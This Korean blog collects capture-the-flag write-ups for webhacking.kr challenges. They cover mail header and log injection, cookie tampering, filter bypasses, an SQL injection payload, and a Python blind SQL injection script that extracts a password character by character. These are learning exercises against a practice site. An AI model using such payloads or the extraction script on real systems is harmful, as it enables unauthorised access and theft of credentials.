Mail Header Injection은 mail을 보낼 때 $header부분에 참조할 수 있는 옵션이 있습니다.

메일을 보낼 때 참조해서 보내면 해당 메일은 수신자에게 가는 동시에 참조인에게도 함께 보내지게 됩니다.

해당 문제는 $header에 참조 옵션을 통해서 문제를 해결 할 수 있습니다.



PHP Mail header 옵션에는 반드시 Form이 있어야 하고, 추가적으로 CC라는 옵션이 존재합니다.

CC란 참조 옵션으로 Form으로 설정된 수신자 이외의 보낼 사람을 지정할 수 있습니다.

이때 Form과 CC사이에는 개행 문자. 즉, \r\n이 필요합니다.


그렇게 만들어지는 값은 test@test.com\r\n[자신의 메일주소] 입니다.

이때 \r\n은 인코딩 된 값인 %0d%0a를 사용해야 올바르게 전송됩니다.


하지만 해당 값을 입력하면 문제가 해결되지 않습니다.

Burp suite로 확인해보니 '%'가 인코딩되어 %25로 변경되어 있습니다.



그래서 해당 값을 직접 수정해서 전송하게 되면 올바른 password를 보여주게 됩니다.





[참고]


PHP Mail: http://php.net/manual/kr/function.mail.php

[PHP] HTTP Header 인젝션: http://blog.habonyphp.com/entry/php-HTTP-%ED%97%A4%EB%8D%94-%EC%9D%B8%EC%A0%9D%EC%85%98

'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 51  (0) 2018.12.07
[webhacking.kr] prob 54  (0) 2018.12.07
[webhacking.kr] prob 42  (0) 2018.12.06
[webhacking.kr] prob 38  (0) 2018.12.06
[webhacking.kr] prob 34  (0) 2018.12.06



test.txt를 다운로드하려고 하면 되지만,

test.zip파일을 다운로드하려고 하면 접근 거부라는 메시지가 나오게 됩니다.



소스를 확인해보면 test.zip은 javascript:alert()로 메시지만 띄우고 있습니다.

test.txt는 다운로드 URL로 이동을 하게 되는데 자세히 보면 base64로 인코딩 되어 있는 것을 확인할 수 있습니다.

test.zip을 base64로 인코딩하여 다운로드 URL로 이동하면 다운로드를 받을 수 있습니다.



해당 zip파일을 열어보면 암호가 있는데 주석에 보이듯이 숫자로만 되어 있다고 합니다.

숫자로만 되어있을 때 알집의 7버전의 암호찾기라는 기능을 이용해서 해결할 수 있습니다.





암호를 얻어 파일을 열어보면 password를 알려주는 URL이 나타나게 됩니다.


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 54  (0) 2018.12.07
[webhacking.kr] prob 47  (0) 2018.12.07
[webhacking.kr] prob 38  (0) 2018.12.06
[webhacking.kr] prob 34  (0) 2018.12.06
[webhacking.kr] prob 33  (0) 2018.12.06



특정 값을 입력하고 Admin버튼을 누르면 자신의 IP와 입력한 값이 나오게 됩니다.



소스를 보면 hint로 'admin'이라고 알려줍니다.

admin을 입력해보면 다음과 같은 문구가 나오게 됩니다.



LOG Injection이란 로그를 조작해서 속이는 것입니다.

그렇다면 실제로는 admin으로 접속하지 않았지만 접속한 척을 하기 위해서 LOG에 입력되는 내용의 형식처럼 입력하면 됩니다.

IP:[문자열] 이런 식으로 저장되고 있으니 해당 형식으로 보내면 됩니다.



해당 값을 입력하고 Admin 버튼을 누르면 해결이 됩니다.


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 47  (0) 2018.12.07
[webhacking.kr] prob 42  (0) 2018.12.06
[webhacking.kr] prob 34  (0) 2018.12.06
[webhacking.kr] prob 33  (0) 2018.12.06
[webhacking.kr] prob 32  (0) 2018.12.05

시작과 함께 Wrong 메시지가 나오고 빈 화면이 보입니다.



소스를 확인해보면 <script>가 총 3개가 있는데 앞 2개는 상당한 양의 코드를 가지고 있습니다.



마지막 3번째를 확인해보면 URL의 0lDz0mBi2가 있는지 확인하고 있으면 Passw0RRdd.pww로 이동하게 됩니다.



실제도 이동해보니 password를 주는군요...

이렇게 해결하는게 맞는지?


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 42  (0) 2018.12.06
[webhacking.kr] prob 38  (0) 2018.12.06
[webhacking.kr] prob 33  (0) 2018.12.06
[webhacking.kr] prob 32  (0) 2018.12.05
[webhacking.kr] prob 27  (0) 2018.12.05

33번은 문제가 10개나 됩니다..



1번




소스를 확인하시면 GET으로 "hehe" 값이 전송되면 <a>태그가 활성화 됩니다.

URL 뒷 부분에 ?get=hehe 를 전송하면 해결!



2번



이번에는 POST로 "hehe"와 "hehe2"의 값을 보내면 됩니다.



간단하게 개발자 모드에서 form태그를 통해서 해당 값을 보낼 수 있습니다.




3번


$_SERVER[REMOTE_ADDR]에는 현재 자신의 IP주소가 기록되어 있습니다. (외부로 나가는 IP)

GET의 "myip"라는 이름으로 전송하면 성공하게 됩니다.

(IP주소는 webhacking.kr 사이트에서도 확인 가능)



4번



현재 시간을 md5()로 암호화하여 전송을 하면 됩니다.

hint로 현재 시간을 알려주어서 해당 값을 제시간에 맞게 전송하면 해결됩니다. (타이밍..중요)



하지만 타이밍 맞추기 쉽지 않기 때문에 python을 이용해서 문제를 해결했습니다.

시간을 +1한 이유는 서버에 시간과 제 PC의 시간에 차이가 있기 때문입니다.


해당 URL로 바로 이동을 하지는 못하나 res.text로 소스를 가져오기 때문에 URL을 알아낼 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import time
import hashlib
 
url="http://webhacking.kr/challenge/bonus/bonus-6/l4.php?password="
cookies= {'PHPSESSID':'YourSesseionValue'}
 
time_ = str(round(time.time()+1)).encode('utf-8')
time_md5 = hashlib.md5(time_).hexdigest()
payload = url+time_md5
 
res = requests.get(payload, url, cookies=cookies)
print(res.text)
cs




5번


GET/POST/COOKIE를 모두 필요로 합니다.

cookie값은 개발자 도구에서 "imcookie"값을 생성해주면 됩니다.


GET과 POST동시에 보내려면 form태그를 post방식으로 설정하고 action 옵션에 GET요청을 하듯이 작성해 주면 됩니다.



6번




쿠키 값에 자신의 IP를 md5한 값을 넣고 POST로 Agent값을 md5하여 전송하면 됩니다.



친절하게 HINT로 AGENT 값을 알려줬습니다^^




7번


IP의 주소에 '.'을 없애고 GET으로 IP=IP를 요구합니다.

EX) 10.10.10.10

?10.10.10.10=10101010



8번


단순히 GET으로 ?addr=127.0.0.1 만해주면 성공하게 됩니다.



9번


chr()함수는 ascii code값을 문자로 바꿔주는 함수입니다.

97~122는 a~z의 값의 ascii code 값이므로 ace...이런 식으로 홀수 자리의 알파벳만 ans에 보내주면 됩니다.



10번


자신의 ip를 가지고 for문을 돌면서 i값을 ord($i)한 값으로 바꿔줍니다.

ord()는 문자의 ASCII CODE값을 나타냅니다.


여기서 하나의 의문이 생길 수 있습니다.

만약 $ip='10.10.10.10'이면 strlen($ip)의 값은 11입니다.

그렇다면 for문을 총 12번 수행할 것이라고 생각할 수 있는데 for문 안을 잘 보면 $ip값이 수정되는 것을 볼 수 있습니다.

$ip의 값이 수정됨에 따라서 strlen($ip)의 값도 변경되기 때문에 for문은 11번만 수행하지 않고 그때그때 길이를 재서 확인하게 됩니다.

이점을 주의해서 문제를 푸셔야 합니다.


물론 php online compiler를 통해서 간단하게 추출해 낼 수 있습니다.

$ip값과 $answer값을 얻었으면 URL을 통해 해당 문서에 접근할 수 있습니다.



'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 38  (0) 2018.12.06
[webhacking.kr] prob 34  (0) 2018.12.06
[webhacking.kr] prob 32  (0) 2018.12.05
[webhacking.kr] prob 27  (0) 2018.12.05
[webhacking.kr] prob 26  (0) 2018.12.05

한번 클릭을 하면 HIT값이 1씩 오르고 두번째부터는 no라는 메시지와 함께 값이 오르지 않습니다.

맨 밑으로가서 join을 하면 자신의 계정의 이름이 하나 나오게 되고 해당 HIT값을 100이되면 성공하는 문제입니다.



쿠키값을 보면 vote_check 라는 것이 새로 생겼습니다.

해당 쿠키값을 통해서 HIT를 했는지 판단하고 있습니다.

이 값을 지우고 클릭을 하면 처음과 동일하게 HIT값이 오르는 것을 확인 할 수 있습니다.



하나씩 지우고 클릭해도 되지만 좀 더 편하게 burp suite의 Repeater기능을 이용해서 빠르게 해봤습니다.

이 기능으로 쿠키값이 생성되기 전에 패킷을 가지고 계속해서 HIT값을 늘릴 수 있습니다.





100이 되는 순간 문제가 해결되고, 101이 되면 사라지게 됩니다.


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 34  (0) 2018.12.06
[webhacking.kr] prob 33  (0) 2018.12.06
[webhacking.kr] prob 27  (0) 2018.12.05
[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 21  (0) 2018.12.05



1을 입력하면 guest가 나오게 되고, 2를 입력하면 query error가 나오게 됩니다.

짐작해보면 admin은 0아니면 2라고 생각해 볼 수 있습니다.



소스를 확인해보면 eregi()로 많은 문자열들을 필터링하고 있습니다.

select 부분에 no=($_GET[no]) 가 Injection Point라는 것을 확인합니다.


① eregi를 보니 '(' 는 필터링을 하지만 ')' 는 필터링을 하고 있지 않습니다.

② '#'과 '/'를 필터링 하지만 '--' 는 필터링 하지 않아 주석을 사용할 수 있습니다.

③ '='는 필터링 하지만 "like"는 필터링 하지 않아 등호를 사용할 수 있습니다.

④ 'or '를 필터링 하지 않습니다.


이를 토대로 2) or no like 2-- 를 사용해서 문제를 해결 할 수 있습니다.

(-- 사용 시 뒤에 문자열 1개 필요)

'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 33  (0) 2018.12.06
[webhacking.kr] prob 32  (0) 2018.12.05
[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 21  (0) 2018.12.05
[webhacking.kr] prob 20  (0) 2018.12.04

GET으로 id값을 "admin" 문자열을 보내면 성공하는 문제입니다.

하지만 eregi()가 "admin"을 필터링하고 있기 때문에 단순히 admin을 입력한다고 해결되지 않습니다.



여기서 주목할 점은 urldecode()함수가 있다는 것입니다.


admin이라는 문자열을 urlencoding하여 보내게 되면 문자열 자체는 admin으로 나타나지 않기 때문에 eregi()를 통과하게 되고

urldecode()함수로 원래 admin문자열이 만들어집니다.


단순히 admin을 urlencode를 하면 안되고 ASCII CODE표를 참고해서 만들어주면 됩니다.



'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 32  (0) 2018.12.05
[webhacking.kr] prob 27  (0) 2018.12.05
[webhacking.kr] prob 21  (0) 2018.12.05
[webhacking.kr] prob 20  (0) 2018.12.04
[webhacking.kr] prob 17  (0) 2018.12.04

Blind SQL Injection은 Query의 참/거짓을 통해 원하는 정보를 얻어내는 기법입니다.

해당 문제에서 친절하게 "Result"로 결과를 알려주고 있습니다.



해당 칸에 숫자 1을 입력해보니 True라는 값이 나옵니다.



2를 입력해도 True를 반환합니다.



3을 입력해보면 False라고 나오게 됩니다.

숫자를 입력해본 이유는 URL을 보게 되면 no라는 칼럼에 인자로 넘어가는 것을 통해서 숫자를 사용해야 한다고 짐작해 볼 수 있습니다.

Query를 예상해보면 

select * from table_name where no=3 이렇게 where절에서 조건으로 들어갈 것이라고 생각됩니다.



그렇다면 Fasle가 나왔던 3뒤에 or 1=1를 덧붙이게 되면 항상 참이 되므로 True를 반환하게 됩니다.

select * from table_name where no=3 or 1=1

이점을 이용해서 문제를 해결 할 수 있습니다.



우선 찾고자 하는 칼럼 이름에 대해 알아야 하는데 친절하게도 URL과 소스에서 찾을 수 있습니다.

소스를 보시면 id/pw가 hidden type으로 no와 함께 전송되는 것을 알 수 있습니다.



또 하나 생각해 볼 내용은 1과 2에서 True를 반환했다는 것은 두개의 값만 가지고 있다고 생각해 볼 수 있습니다.

우선 1에 대해 pw의 길이를 length() 함수를 통해서 구할 수 있습니다.



길이를 구했으면 해당 값을 하나씩 나눠서 구해야 합니다.

substr()과 ascii()를 이용해서 값을 하나씩 구할 수 있습니다.

substr(변수, 시작 인덱스, 길이) : 해당 변수를 시작 인덱스부터 정해진 길이까지만 반환

ascii() : 특정 문자를 ASCII CODE값으로 변환



다음 내용을 토대로 Python코드를 만들었습니다.

일일이 대입해서 풀 수 있지만 너무 오래 걸리기에 2진 탐색을 이용하여 풀었습니다.

 

1은 guest이었고, 2가 필요한 내용을 가지고 있었습니다.

또한 길이를 구하는 코드는 입력하지 않았습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
 
cookies = {'PHPSESSID':'YourSessionValue'}
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?"
 
password = ""
for i in range(1,20):       
    start = 1
    end   = 127
    while True:
        mid = int((start+end)/2)
 
        query = "no=2 and ascii(substr(pw,{0},1))>{1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            start = mid+1
            continue
 
        query = "no=2 and ascii(substr(pw,{0},1))<{1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            end = mid-1
            continue
 
 
        query = "no=2 and ascii(substr(pw,{0},1))={1}".format(i,mid)
        payload = url+query
        print (payload)
        res = requests.get(payload, cookies=cookies)    
        if((res.text).find("True")>0):
            password += chr(mid)
            break
 
print ("password : "+password)
cs

(함수로 만들 수 있겠지만... 지역변수/전역변수 문제로 포기..)


'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 27  (0) 2018.12.05
[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 20  (0) 2018.12.04
[webhacking.kr] prob 17  (0) 2018.12.04
[webhacking.kr] prob 16  (0) 2018.12.04

2초안에 모든 칸을 채워서 Submit 버튼을 누르면 성공하는 문제입니다.

미리 채워 넣고 싶지만 code 부분은 매번 새로운 값으로 바뀌기 때문에 javascript를 이용해야 합니다.




소스를 봐서 각각의 태그의 이름을 확인합니다.


console창에서 javascript 코드를 이용해 해당 칸을 채우고 submit 버튼을 눌러야 합니다.

id, cmt값을 임의의 값으로 채우고, hack에는 attackme의 값으로 채워 넣습니다.

1
2
3
4
5
lv5frm.id.value='a'
lv5frm.cmt.value='a'
lv5frm.hack.value=lv5frm.attackme.value
lv5frm.submit()

cs




'WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] prob 26  (0) 2018.12.05
[webhacking.kr] prob 21  (0) 2018.12.05
[webhacking.kr] prob 17  (0) 2018.12.04
[webhacking.kr] prob 16  (0) 2018.12.04
[webhacking.kr] prob 15  (0) 2018.12.04

+ Recent posts